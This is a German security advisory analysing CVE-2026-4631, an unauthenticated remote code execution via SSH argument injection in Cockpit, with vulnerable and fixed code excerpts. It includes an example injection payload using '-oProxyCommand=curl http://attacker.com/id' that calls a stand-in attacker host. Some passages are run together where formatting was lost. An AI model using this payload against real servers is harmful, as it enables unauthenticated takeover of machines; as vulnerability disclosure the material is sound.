
Cockpit: Nicht authentifizierte Remote-Codeausführung durch SSH-Befehlszeilen-Argumentinjektion
Cockpit: Nicht authentifizierte Remote-Codeausführung durch SSH-Befehlszeilen-Argumentinjektion
| Feld | Detail |
|---|---|
| CVE-ID | CVE-2026-4631 |
| GHSA | GHSA-m4gv-x78h-3427 |
| Schweregrad | Kritisch (CVSS 9.8) |
| Betroffene Versionen | Cockpit 327 – 359 |
| Behoben in | Cockpit 360 |
| CWE | CWE-78: OS-Befehlsinjektion |
| Authentifizierung erforderlich | NEIN |
| Gemeldet von | Jelle van der Waa |
Die Remote-Login-Funktion von Cockpit übergibt vom Benutzer bereitgestellte Hostnamen (aus dem URL-Pfad) und Benutzernamen (aus dem Authorization: Basic-Header) direkt an die OpenSSH-ssh-Binärdatei, ohne jegliche Validierung oder Bereinigung.
Ein nicht authentifizierter Angreifer mit Netzwerkzugriff auf Port 9090 kann eine einzelne HTTP-Anfrage erstellen, die:
-oProxyCommand=<cmd>)%r-Token-Erweiterung von SSH ausgenutzt wirdBeide Injektionspunkte greifen vor Abschluss der Anmeldedatenüberprüfung, was bedeutet, dass kein gültiger Login erforderlich ist.

Vor Version 327 verwendete Cockpit eine dedizierte C-Binärdatei namens cockpit-ssh (basierend auf libssh) für Remote-Verbindungen. Ab Version 327 wurde diese ersetzt durch:
python3 -m cockpit.beiboot
welches den System-OpenSSH-ssh-Client aufruft. Diese Änderung führte die Schwachstelle ein, da der neue Codepfad benutzergesteuerte Werte ohne Bereinigung direkt an ssh übergibt.
---Trennzeichen vor dem HostnamenDer SSH-Client interpretiert Argumente, die mit - beginnen, als Optionen, nicht als Hostnamen, es sei denn, ein ---Trennzeichen steht davor. Ohne -- wird jeder Hostname, der mit - beginnt, als SSH-Flag geparst.
Verwundbare Konstruktion:
ssh [Optionen] <Hostname> <Remote-Befehl>
Sichere Konstruktion:
ssh [Optionen] -- <Hostname> <Remote-Befehl>
Weder cockpit-ws (C-Code) noch cockpit.beiboot (Python-Code) validiert oder bereinigt:
Authorization: Basic-Header extrahierten Benutzernamenargparse-Bug (CPython #66623)Ein bekannter CPython-Bug führt dazu, dass argparse Argumente, die mit - beginnen und Leerzeichen enthalten, falsch behandelt und sie als Positionsargumente statt als Flags interpretiert. Dadurch kann ein -oProxyCommand=evil command-Hostname die Python-Argumentanalyse passieren und als Option an ssh gelangen.
src/cockpit/beiboot.py — Primärer InjektionspunktDies ist die kritischste Datei. Die Funktion via_ssh() erstellt die Argumentliste für den SSH-Befehl.
def via_ssh(cmd: Sequence[str], dest: str, ssh_askpass: Path, *ssh_opts: str) -> Sequence[str]:
"""Build an ssh command to run `cmd` on `dest`."""
# Parse optional port from dest (e.g. "host:2222")
host, _, port = dest.rpartition(':')
if port.isdigit() and host:
# Strip IPv6 brackets
if host.startswith('[') and host.endswith(']'):
host = host[1:-1]
# VULNERABLE: No '--' before host
# If host = "-oProxyCommand=evil", ssh treats it as an option
destination = ['-p', port, host]
else:
# VULNERABLE: Raw attacker input passed directly to ssh
destination = [dest]
return (
'ssh', *ssh_opts, *destination, shlex.join(cmd)
)
Mit dest = "-oProxyCommand=curl http://attacker.com/id":
arg0: ssh
arg1: -oNumberOfPasswordPrompts=1 ← Cockpit-Option
arg2: -oProxyCommand=curl http://... ← ALS SSH-OPTION GEPARST (nicht Host)
arg3: python3 -ic '# cockpit-bridge' ← wird zum "Hostnamen" → löst ProxyCommand aus
if port.isdigit() and host:
if host.startswith('[') and host.endswith(']'):
host = host[1:-1]
# FIXED: '--' forces everything after it to be positional
destination = ['-p', port, '--', host]
else:
# FIXED: '--' separator added
destination = ['--', dest]
src/ws/cockpitauth.c — C-Ebene: Hostnamen-ExtraktionDiese C-Datei übernimmt die anfängliche HTTP-Anfrageanalyse und startet den Beiboot-Prozess.
static const gchar *
application_parse_host(const gchar *application)
{
const gchar *prefix = "cockpit+=";
gint len = strlen(prefix);
g_return_val_if_fail(application != NULL, NULL);
// Extracts everything after "cockpit+=" from the URL path
// No character validation — dashes, special chars allowed
if (g_str_has_prefix(application, prefix) && application[len] != '\0')
return application + len;
else
return NULL;
}
Der zurückgegebene Hostname wird direkt als Argument beim Starten von Beiboot übergeben:
// cockpit_ws_ssh_program is the spawn command template
// VULNERABLE: hostname appended with no sanitization
const gchar *cockpit_ws_ssh_program =
"/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported";
// ^
// No trailing '--' means hostname can be parsed
// as a flag by Python's argparse (CPython #66623)
// FIXED: trailing '--' ensures hostname is always positional
const gchar *cockpit_ws_ssh_program =
"/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported --";
static CockpitCreds *
build_session_credentials(CockpitAuth *self,
CockpitWebRequest *request,
const char *application,
const char *host,
const char *type,
const char *authorization)
{
char *user = NULL;
char *raw = NULL;
if (g_strcmp0(type, "basic") == 0) {
// Decodes Authorization: Basic base64(user:password)
// No validation of 'user' — semicolons, special chars allowed
raw = cockpit_authorize_parse_basic(authorization, &user);
}
// 'user' is passed into credentials and eventually to 'ssh -l <user>'
creds = cockpit_creds_new(application,
COCKPIT_CRED_USER, user, // unsanitized
...);
}
vendor/ferny/src/ferny/session.py — Dritter InjektionspunktDie gebündelte ferny-Bibliothek (für SSH-Interaktion) weist dieselbe ---Auslassung in ihrem Subprocess-Aufruf auf.